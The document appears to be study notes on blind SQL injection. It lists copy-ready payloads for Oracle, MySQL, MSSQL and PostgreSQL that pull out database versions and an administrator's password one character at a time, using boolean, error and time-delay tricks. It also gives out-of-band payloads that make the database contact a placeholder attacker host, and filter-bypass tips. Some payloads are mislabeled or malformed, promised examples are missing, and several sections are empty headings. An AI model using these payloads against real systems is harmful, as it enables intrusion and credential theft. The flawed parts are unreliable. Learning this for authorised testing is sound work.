Blind SQL Injection
Blind SQL Injection
It occurs when an application is vulnerable to sql injection but its response do not contain the results of the relevant SQL Query or the details of any database errors.
Types of blind sql injection
Conditional based blind
Error based blind
Time based blind
OAST (Out of band blind)
Conditional(boolean) based blind sql injection
Injecting query to trigger detecatble difference in application's response.We can identify boolean based blind sql injection only via comparing the difference in http response. We can also use burp's comparer in this case.
Here "welcome back!" message is displayed if cookie is valid else it is not displayed on the http response, in such case we can inject boolean conditions and query the database for information based on truth of the condition.
We can query the database version for a successful poc by doing the following
Similarly if we know that there table called users with columns username and password and we know a username administrator we can extract password by
First finding the length of password
Then query each character of the password supposing length of the password is 20
MYSQL:
SUBSTRING("CONDITION/STRING", start-position, extract this much character)
Oracle:
substr("string/condition", start-position, extract this much character)
MSSQL:
same as MYSQL
Postgresql:
same as MYSQL
Conditional Error based blind sql injection
Here, the application does not give different response, So depending upon true or false condition we can cause database error.
First confirm conditional error based sql injection, test condition 1=1 and 1=2 and so on.
MSQL: ' AND SELECT IF(1=1, 1/0, 'a') = 'a
again test ' AND SELECT IF(1=2, 1/0, 'a') = 'a
Oracle: ' AND (SELECT CASE WHEN (1=5) THEN TO_CHAR(1/0) ELSE 'a' END FROM dual) = 'a||
Microsoft: ' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END) = 'a
Postgresql: ' AND (SELECT CASE WHEN (1=1) THEN 1/(SELECT 0) ELSE 'a' END) = 'a
Now suppose we found the database is oracle and we need to dump password of administrator from users column.
Now start testing each caracter of password using SUBSTR() function
Suppose for poc we need to find the database version then,
Oracle:
' AND (SELECT CASE WHEN (SELECT SUBSTR(BANNER, {iterate position here}, 1) FROM v$version WHERE ROWNUM = 1) = '{iterate characters here}' THEN TO_CHAR(1/0) ELSE 'a' END FROM dual) = 'a||
MYSQL:
' AND (SELECT CASE WHEN (SELECT SUBSTRING(@@version,{iterate position here}, 1)) = '{iterate characters here}' THEN 1/0 ELSE 'a' END) = 'a
Microsoft:
' AND (SELECT CASE WHEN (SELECT SUBSTRING(@@version,{iterate position here}, 1)) = '{iterate characters here}' THEN 1/0 ELSE 'a' END) = 'a+
Postgresql:
' AND (SELECT CASE WHEN (SELECT SUBSTRING(version(),{iterate position here}, 1)) = '{iterate characters here}' THEN 1/0 ELSE 'a' END) = 'a||
Verbose SQL ERROR MESSAGE
If database is misconfigured sometimes can result into verbose sql error message like Unterminated string literal started at position 52 in SQL SELECT * FROM tracking WHERE id = '''. Expected char
. Sometimes we may be able to indue error message that contains data returned by the query we can use CAST
function in such case which converts one data type to another.
' AND 1=(SELECT CAST(1 AS int) )--
=> no error since 1=1 ' AND 1=(SELECT CAST(username as int) FROM Users )--
' AND 1=(SELECT CAST(password as int) FROM Users )--
Time based blind
If the application does not contain any difference in http response, if the application catches the database errors gracefully this means previous techniques won't work. so in this case depending on whether a condition is true or false we can cause time delays. SQL queries are processed synchronously(one at a time) by an application and triggering time delays can also delays the http response.
Postgresql: ' || (SELECT pg_sleep(10))||'
Mysql: ' AND (SELECT SLEEP(10))--'
Oracle: ' ||dbms_pipe.receive_message(('a'),10)||'
Microsoft: '+ WAITFOR DELAY '0:0:10'+'
Extracting data for poc
Postgresql: '; SELECT CASE WHEN (SELECT SUBSTRING(version(),{iterate length},1) = '{iterate characters}') THEN pg_sleep(10) ELSE pg_sleep(0) END--
Mysql: SELECT IF((SELECT SUBSTRING(@@version,{Iterate length},1) = '{Iterate characters}'),SLEEP(10),'a');--
Oracle: SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual
Microsoft: IF (SELECT SUBSTRING(@@version,{iterate length},1) = '{iterate characters}') WAITFOR DELAY '0:0:10'
Out Of band data exfiltration
An application might not be vulnerable to union based sql injection since it might not display the query result on the response, trying blind conditional based attack might not work, trying conditional error based payloads to cause database error might not work, no verbose sql error message might be shown by the response, trying time based sql injection payloads to cause the application to sleep might not work due to the application running the sql query asynchronously in such case we try out of band data exflitration. We can make the application to trigger out of band network interaction to system we control, variety of network protocals can be used in this case but most effective one would be the dns since most production systems allows dns communication although other ports might be blocked.
We often use concat operation in this case
Oracle: ' || (SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual) ||'
Microsoft: ' + (SELECT UTL_INADDR.get_host_address('BURP-COLLABORATOR-SUBDOMAIN')) +'
, ' + (exec master..xp_dirtree '//BURP-COLLABORATOR-SUBDOMAIN/a') +'
Postgresql: ' || (copy (SELECT '') to program 'nslookup BURP-COLLABORATOR-SUBDOMAIN') ||'
Mysql windows: LOAD_FILE('\\\\BURP-COLLABORATOR-SUBDOMAIN\\a') SELECT ... INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'
Data Exfiltration
Oracle
Microsoft
Postgresql
Mysql on windows only
Bypasses
We can also bypass sql payloads by using comments instead of space /**/
or using html entities UNION SELECT password FROM users WHERE username='administrator'
.
Last updated